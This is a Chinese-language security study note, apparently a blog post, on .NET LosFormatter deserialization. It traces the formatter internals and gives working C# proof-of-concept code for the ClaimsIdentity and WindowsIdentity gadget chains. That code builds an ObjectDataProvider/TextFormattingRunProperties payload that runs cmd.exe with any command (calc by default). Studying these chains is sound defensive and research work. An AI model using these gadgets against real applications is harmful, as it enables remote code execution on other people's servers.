LosFormatter反序列化链
前言:记录LosFormatter反序列化链
参考文章:https://xz.aliyun.com/t/9597
参考文章:https://www.anquanke.com/post/id/176786
LogFormatter
LosFormatter封装在System.Web.dll中,命名空间为System.Web.UI。
LosFormatter一般也是用于序列化和反序列化Web窗体页的视图状态(ViewState),如果要把ViewState通过数据库或其他持久化设备来维持,则需要采用特定的LosFormatter类来序列化/反序列化
微软官方的阐述是有限的对象序列化(LOS)格式专门为高度精简的ASCII格式序列化,此类支持序列化的任何对象图。
无参数的构造函数表示不使用"启用mac"和"mac密钥修饰符"来初始化LosFormatter。
两个参数的构造方法表示使用"启用mac"和"mac密钥修饰符"来初始化LosFormatter。
注意:使用LosFormatter序列化对象仍需要标记[Serializable]
LosFormatter简单的示例代码,如下所示
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Reflection; using System.Runtime.Serialization.Formatters.Soap; using System.Text; using System.Threading.Tasks; using System.Web.UI; namespace SerializationCollection { class Program { [Serializable] class Person { private string name; public string Name { get { return name; } set { name = value; } } private int age; public int Age { get { return age; } set { age = value; } } public Person(string name, int age) { Name = name; Age = age; } public void SayHello() { Console.WriteLine("hello"); } } static void Main(string[] args) { LosFormatter losFormatter = new LosFormatter(); using (MemoryStream memory = new MemoryStream()) { losFormatter.Serialize(memory, new Person("jack", 15)); memory.Position = 0; Person p = (Person)losFormatter.Deserialize(memory); p.SayHello(); Console.WriteLine(Encoding.UTF8.GetString(memory.ToArray())); } Console.ReadKey(); } } }
LosFormatter序列化和反序列化的过程
这里可以通过dnspy来进行调试,如下所示
序列化过程
这边Serialize函数跟进去
来到Serialize(Stream stream, object value)
跟进this.SerializeInternal(textWriter, value);,SerializeInternal主要进行序列化过程
继续跟进this._formatter.Serialize(value);,stateGraph是要序列化的对象,这里的话就是Person对象
this.Serialize(memoryStream, stateGraph);,下面的图中可以看到最终序列化是通过ObjectStateFormatter来进行的
继续在序列化当前Person对象的name字段的时候,这里的话就会用到BinaryFormatter对象
最后将序列化完的数据进行base64编码进行返回,如下所示
反序列化过程
反序列化的时候首先会进行base64解码的操作
对应的也会使用到ObjectStateFormatter和BinaryFormatter来进行反序列化操作
ClaimsIdentity利用链
ClaimsIdentity中有多种触发方式,其中一种是利用自身的m_bootstrapContext字段,如果m_bootstrapContext存在的话那么在序列化的过程的就会将该字段写入
反序列化利用测试代码如下所示
using Microsoft.VisualStudio.Text.Formatting; using System; using System.Collections.Generic; using System.Collections.Specialized; using System.Diagnostics; using System.IO; using System.Linq; using System.Reflection; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Soap; using System.Security.Claims; using System.Text; using System.Threading.Tasks; using System.Web.UI; using System.Windows.Data; using System.Windows.Markup; namespace SerializationCollection { class Program { static void Main(string[] args) { LosFormatter losFormatter = new LosFormatter(); using (MemoryStream memory = new MemoryStream()) { TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal(); My my = new My(); my.o = textFormattingRunPropertiesMarshal; losFormatter.Serialize(memory, my); memory.Position = 0; losFormatter.Deserialize(memory); } Console.ReadKey(); } } [Serializable] public class My { public object o; } [Serializable] public class TextFormattingRunPropertiesMarshal : ISerializable { public static string gadget(string cmd) { // ObjectDataProvider ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = $"/c {cmd}"; StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start"; odp.IsInitialLoadEnabled = false; odp.ObjectInstance = p; return XamlWriter.Save(odp); } protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { } string _xaml; public void GetObjectData(SerializationInfo info, StreamingContext context) { Type typeTFRP = typeof(TextFormattingRunProperties); info.SetType(typeTFRP); info.AddValue("ForegroundBrush", _xaml); } public TextFormattingRunPropertiesMarshal(string cmd) { _xaml = gadget(cmd); } public TextFormattingRunPropertiesMarshal() { _xaml = gadget("calc"); } } }
堆栈调用过程如下所示,可以看到反序列化的时候LogFormatter->ObjectStateFormatter->BinaryFormatter
最终触发TextFormattingRunProperties的攻击链,如下所示
WindowsIdentity利用链
命名空间位于:System.Security.Principal,WindowsIdentity继承了ClaimsIdentity对象
反序列化构造函数和序列化函数GetObjectData的实现
从上面可以看到在调用反序列化构造函数的时候,会调用父类的反序列化构造函数
继续跟进去 Deserialize(info, default(StreamingContext), useContext: false);,可以发现有三处地方都会通过BinaryFormatter来进行反序列化操作
反序列化的对象分别是System.Security.ClaimsIdentity.actor,System.Security.ClaimsIdentity.claims,System.Security.ClaimsIdentity.bootstrapContext
因为这边还是通过BinaryFormatter来进行反序列化操作的,所以这边同样可以进行利用TextFormattingRunProperties即可
反序列化测试代码如下
using Microsoft.VisualStudio.Text.Formatting; using System; using System.Collections.Generic; using System.Collections.Specialized; using System.Diagnostics; using System.IO; using System.Linq; using System.Reflection; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using System.Runtime.Serialization.Formatters.Soap; using System.Security.Claims; using System.Security.Principal; using System.Text; using System.Threading.Tasks; using System.Web.UI; using System.Windows.Data; using System.Windows.Markup; namespace SerializationCollection { class Program { static void Main(string[] args) { LosFormatter losFormatter = new LosFormatter(); BinaryFormatter bf = new BinaryFormatter(); using (MemoryStream memory = new MemoryStream()) { TextFormattingRunPropertiesMarshal textFormattingRunPropertiesMarshal = new TextFormattingRunPropertiesMarshal(); bf.Serialize(memory, textFormattingRunPropertiesMarshal); string b64payload = Convert.ToBase64String(memory.ToArray()); WindowsIdentityIdentityMarshal windowsIdentityIdentityMarshal = new WindowsIdentityIdentityMarshal(b64payload); memory.Position = 0; losFormatter.Serialize(memory, windowsIdentityIdentityMarshal); memory.Position = 0; losFormatter.Deserialize(memory); } Console.ReadKey(); } } [Serializable] public class WindowsIdentityIdentityMarshal : ISerializable { public WindowsIdentityIdentityMarshal(string b64payload) { B64Payload = b64payload; } private string B64Payload { get; } public void GetObjectData(SerializationInfo info, StreamingContext context) { info.SetType(typeof(WindowsIdentity)); info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload); info.AddValue("System.Security.ClaimsIdentity.bootstrapContext", B64Payload); info.AddValue("System.Security.ClaimsIdentity.claims", B64Payload); } } [Serializable] public class TextFormattingRunPropertiesMarshal : ISerializable { public static string gadget(string cmd) { // ObjectDataProvider ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = $"/c {cmd}"; StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start"; odp.IsInitialLoadEnabled = false; odp.ObjectInstance = p; return XamlWriter.Save(odp); } protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { } string _xaml; public void GetObjectData(SerializationInfo info, StreamingContext context) { Type typeTFRP = typeof(TextFormattingRunProperties); info.SetType(typeTFRP); info.AddValue("ForegroundBrush", _xaml); } public TextFormattingRunPropertiesMarshal(string cmd) { _xaml = gadget(cmd); } public TextFormattingRunPropertiesMarshal() { _xaml = gadget("calc"); } } }
测试结果如下所示,可以成功反序列化命令执行
SessionSecurityToken利用链
先放着先,感觉有点复杂
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY